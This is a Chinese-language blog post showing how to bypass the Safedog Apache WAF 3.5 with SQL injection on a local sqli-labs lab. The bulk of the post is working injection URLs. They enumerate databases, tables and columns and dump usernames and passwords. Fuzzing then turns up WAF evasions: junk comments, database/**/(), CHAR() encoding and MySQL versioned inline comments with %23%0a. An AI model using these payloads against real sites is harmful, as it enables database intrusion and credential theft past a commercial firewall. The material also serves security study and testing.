前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SQL注入 安全狗apache3.5.12048版本绕过

SQL注入 安全狗apache3.5.12048版本绕过

作者头像
乌鸦安全
发布2021-08-05 16:03:14
5110
发布2021-08-05 16:03:14
举报
文章被收录于专栏:乌鸦安全乌鸦安全

更新时间:2021.04.28

没错,这次我们又来了,还是那条狗,绕过的是安全狗apache3.5.12048版本,个人感觉这个狗比上次的那个有难度些。上次发的文章里面没安全狗的文件,因为当时安装之后文件就删了,这次有,后台回复关键字:

安全狗3.5 获取

目前我们已经发布关于sql注入的文章和教学:

2019.11.20 更新sqli-labs 全部视频更新完成

SQL注入-安全狗超大数据包绕过

SQL注入 安全狗apache4.0.26655绕过

视频版:

https://space.bilibili.com/29903122

0x01 waf

安全狗 safedogwzApacheV3.5.exe

0x02 搭建

网站:apache+mysql+php

phpstudy2018

php版本4.4.45

sqli-labs

0x03 报错注入

关键句

代码语言:javascript
复制
代码语言:javascript
复制
select schema_name from information_schema.schemata;
select table_name from information_schema.tables where table_schema='security';
select column_name from information_schema.columns where table_name='users';
select username,password from security.users;
代码语言:javascript
复制

手动注入

代码语言:javascript
复制
代码语言:javascript
复制
查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema='security'
查列:select column_name from information_schema.columns where table_name='users'
查字段:select username,password from security.users
代码语言:javascript
复制
代码语言:javascript
复制
(下面的内容不要直接复制)
http://127.0.0.1/sqli/Less-1/?id=1’     查看是否有注入
http://127.0.0.1/sqli/Less-1/?id=1‘ order by 3--+   查看有多少列
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,3--+ 查看哪些数据可以回显
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,database()--+  查看当前数据库
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,schema_name from information_schema.schemata limit 4,1--+  查看数据库security
或者是:
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata--+ 查看所有的数据库
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1--+ 查表,
或者是:
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+ 查看所有的
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,column_name from information_schema.columns where table_name=0x7573657273--+ 查询列信息
或者是:
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+ 查看所以的列信息
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,concat_ws(’~‘,username,password) from security.users limit 1,1--+ 查询一个账号和密码
或者是:http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+  直接可以得到所有的账号和密码,
并且使用~符号进行分割。
代码语言:javascript
复制

工具注入

代码语言:javascript
复制

0x04 安全狗安装

在安装的时候提示有一个服务名不能为空,这里需要phpstudy调整至系统服务模式。

然后调出任务管理器界面,查看所有服务

将服务写上,安装成功之后,注意不要选择在线安装服务器安全狗,安装之后会显示启动web服务失败,这里将phpstudy重启即可

使用恶意的参数进行测试下,安全狗生效

运行脚本:

网站防护日志:

0x05 Fuzz

在mysql的fuzz里面一般有以下的思路:(不止)

代码语言:javascript
复制
代码语言:javascript
复制
使用大小写绕过
使用/**/注释符绕过
使用大的数据包绕过
使用/!**/注释符绕过
……
代码语言:javascript
复制

1. 测试单引号

http://10.211.55.9/Less-1/?id=1'显示正常

http://10.211.55.9/Less-1/?id=1' --+ 显示正常

2. 测试and

直接使用and的时候,没有异常,但是使用and 1=1的时候,出现问题

正常

拦截

这里测试发现 and 可以出现,但是1不可以出现,既然无法绕过,这里尝试使用注释符来进行测试

3. 测试注释符

在这随机手写了一个,然后就过了。。。。

/*@%$^(*/

http://10.211.55.9/Less-1/?id=1' and/*@%$^(*/ 1=1 --+

继续:

使用order by指令

http://10.211.55.9/Less-1/?id=1' order by 4 --+

这里可以测出来一共存在三列,然后使用联合查询来试试

http://10.211.55.9/Less-1/?id=1' union select 1,2,3 --+

如果只有union呢?试试

http://10.211.55.9/Less-1/?id=1' union --+ 正常

select呢

http://10.211.55.9/Less-1/?id=1' union select --+

gg

使用刚刚的注释符试试

http://10.211.55.9/Less-1/?id=1' union /*@%$^(*/ select --+正常

继续

http://10.211.55.9/Less-1/?id=1' union /*@%$^(*/ select 1,2,3 --+显示正常

继续:

代码语言:javascript
复制
http://10.211.55.9/Less-1/?id=-1'  union /*@%$^(*/ select 1,2,3 --+

正常

那就可以来取数据了

代码语言:javascript
复制
http://10.211.55.9/Less-1/?id=-1'  union /*@%$^(*/ select 1,2, database() --+

错误

看来database()被过滤,那这里面对其进行绕过

4. 测试database()

在这里经过多次测试之后发现,database()可以使用database/**/()进行绕过

代码语言:javascript
复制
http://10.211.55.9/Less-1/?id=  -1'  union   /*@%$^(*/    select 1,2, database/**/() --+

显示正常

此时已经获得了数据库名称为security

继续操作来进行下一步,直到能够获取所有的关键信息

现在已知数据库之后,开始获取数据库中的表信息:

对第三个位置来获取表信息:

代码语言:javascript
复制
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1--+ 查表,
或者是:http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+ 查看所有的

试试:

代码语言:javascript
复制
http://10.211.55.9/Less-1/?id=  -1'  union   /*@%$^(*/    select 1,2,   table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1 --+

情理之中,开始准备fuzz

代码语言:javascript
复制
http://10.211.55.9/Less-1/?id=  -1'  union   /*@%$^(*/    select 1,2,   table_name     --+

正常

代码语言:javascript
复制
http://10.211.55.9/Less-1/?id=  -1'  union   /*@%$^(*/    select 1,2,   table_name   from  --+

此时显示异常

经过fuzz发现,from是关键字,table_name 并不是关键字,所以需要对from进行绕过

经过多次多组fuzz发现,这里需要使用chr()来进行绕过

代码语言:javascript
复制
http://10.211.55.9/Less-1/?id=  -1'  union   /*@%$^(*/    select 1,2,   CHAR(102, 114, 111, 109)   --+

成功

但是在这里是没法继续下去的

内联注释知识点
  • /*!select*/: 相当于没有注释
  • /*!12345select*/: 当12345小于当前mysql版本号的时候,注释不生效,当大于版本号的时候注释生效。
  • /*![]*/: []中括号中的数字若填写则必须是5位
代码语言:javascript
复制
http://10.211.55.9/Less-1/?id=  -1'  union   /*!00000%23%0aselect*/  1,2, group_concat(schema_name)  /*!00000%23/*%0afrom */ information_schema.schemata   --+

fuzz成功

这里使用

/*!%23/*%0afrom*/

代码语言:javascript
复制
http://10.211.55.9/Less-1/?id=  -1'  union   /*!00000%23%0aselect*/  1,2, group_concat(table_name)  /*!%23/*%0afrom*/ information_schema.tables where table_schema='security' --+
代码语言:javascript
复制
http://10.211.55.9/Less-1/?id=  -1'  union   /*!00000%23%0aselect*/  1,2, group_concat(column_name)  /*!%23/*%0afrom*/ information_schema.columns where table_name='users' --+
代码语言:javascript
复制
http://10.211.55.9/Less-1/?id=  -1'  union   /*!00000%23%0aselect*/  1,2,group_concat(concat_ws(0x7e, username, password))  /*!%23/*%0afrom*/ security.users --+

tamper编写

后面出视频

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-04-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 乌鸦安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 waf
  • 0x02 搭建
  • 0x03 报错注入
    • 手动注入
      • 工具注入
      • 0x04 安全狗安装
      • 0x05 Fuzz
        • 1. 测试单引号
          • 2. 测试and
            • 3. 测试注释符
              • 4. 测试database()
              • /*!%23/*%0afrom*/
              相关产品与服务
              数据库
              云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
              领券
              问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档